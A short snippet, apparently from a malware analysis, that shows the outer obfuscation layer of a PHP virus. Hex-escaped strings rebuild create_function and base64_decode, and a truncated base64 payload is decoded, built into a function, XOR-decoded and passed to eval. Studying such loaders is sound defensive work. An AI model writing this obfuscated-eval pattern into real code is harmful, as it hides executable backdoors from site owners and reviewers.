PHP virus outer obfuscation

<?php
$_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"; # ="create_function"
$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65"; # ="base64_decode"
$_8b7b1f56=$_8b7b("",$_8b7b1f("JGs9MTQ...hPSIiKSR6Lj1jaHIoJHZeJGspO2V2YWwoJHopOw=="));
$_8b7b1f56();
?>